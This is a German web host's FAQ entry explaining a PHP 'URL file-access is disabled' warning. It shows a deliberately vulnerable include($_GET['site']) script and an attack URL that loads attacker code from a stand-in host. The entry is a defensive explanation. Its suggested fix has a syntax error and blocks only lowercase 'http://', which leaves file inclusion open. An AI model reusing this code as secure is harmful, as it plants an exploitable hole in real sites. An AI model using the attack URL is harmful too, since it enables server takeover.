Home | Über uns | Impressum | AGB | Sitemap 

FAQ / Hilfe

Suchen:     Erweiterte Suche
Kategorien durchblättern:



Was bedeutet: "Warning: fopen(): URL file-access is disabled in the server configuration" ?

Gesehen: 8214
Das Programm versucht einen URL (bspw. einen http- oder ftp-Link) als Datei zu öffnen. Aus Sicherheitsgründen ist diese Möglichkeit auf unseren Server im Standard deaktiviert.
Wir können Ihnen diese Einstellung natürlich ändern. Schreiben Sie uns dazu einfach an support@speicherhosting.com unter Angabe Ihres Account- (bspw. web123) und des Domainnnamen.

Hinweis zur Sicherheit und möglichen Gefahren:

Achtung: Diese Einstellung ist sicherheitsrelevant. Achten Sie immer auf die Aktualität Ihrer Software. Bei selbstgeschriebener Software achten Sie darauf, dass es nicht möglich ist, beliebige Dateinamen einzuschleusen. Ein Beispiel:
Sie haben ein einfaches php-Skript geschrieben, welches die Seiten anhand der Variable site per include lädt. Der Quelltext könnte ungefähr so aussehen:

<html>
<head><title>Meine Seite</title></head>
<body>
<a href="index.php?site=Kartoffeln">Kartoffeln</a>
<a href="index.php?site=Bohnen">Bohnen</a>
<?php
   $site=$_GET['site'];      // dies ist bei register_globals on natürlich nicht nötig
   include($site);
?>
</body>

Dieses Skript fügt also Dateien ein, deren Namen im URL übergeben wurden. Es hindert einen Angreifer aber niemand daran nun auch folgenden URL aufzurufen: http://www.ihredomain.de/index.php?site=http://www.angreifer.de/phpskript.txt.
Der Server wird nun den PHP-Code in der Textdatei ausführen, und der Angreifer kann nun weitere Programme installieren. Sie sollten also Ihr Skript darauf trimmen, derartige Dateinamen nicht zu akzeptieren. Dies könnte bspw. so aussehen:

<html>
<head><title>Meine Seite</title></head>
<body>
<a href="index.php?site=Kartoffeln">Kartoffeln</a>
<a href="index.php?site=Bohnen">Bohnen</a>
<?php
   $site=$_GET['site'];      // dies ist bei register_globals on natürlich nicht nötig
   if(preg_match("/^http:\/\//",$site)
// ^ bedeutet Anfang der Zeichenkette
           die("Bitte nicht hacken"); // Skript beenden
   include($site);
?>
</body>

Das Skript prüft nun also, ob die Eingabevariable site mit http:// beginnt (es handelt sich dabei um einen regulären Ausdruck). Ist dem so, wird das Skript umgehend beendet. Hier müsste eigentlich noch ein zweiter Test auf ftp:// durchgeführt werden.
Weitere Fragen in dieser Kategorie
document Wie verwende ich PHP5
document Ich erhalte "Internal Server Error" beim Aufruf meiner Seite. Was ist zu tun?
document Ich möchte auch Dateien mit anderen Endungen (bspw. .html) durch PHP interpretieren lassen.
document Ich benötige Safe_Mode, register_globals oder mod_rewrite u.v.m.
document Wie verwende ich PHP4
document Wie verwende ich PHP5.3, PHP5.4 und PHP5.5
document Loginprobleme Wordpress und Joomla
document Wie verwende ich MySQL 5.5 oder MySQL 5.6